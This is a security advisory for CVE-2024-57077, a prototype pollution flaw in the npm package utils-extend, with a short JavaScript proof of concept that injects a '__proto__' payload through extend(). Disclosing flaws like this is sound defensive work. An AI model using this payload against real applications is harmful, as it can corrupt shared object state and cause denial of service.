critical9.1
CVE-2024-57077
utils-extend Prototype Pollution
Impact
The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. ## PoC ```js async function exploit() { const utilsextend = require(\"utils-extend\"); const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}'); const result = await utilsextend.extend({}, payload); } await exploit(); ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | utils-extend | <= 1.0.8 | none recorded |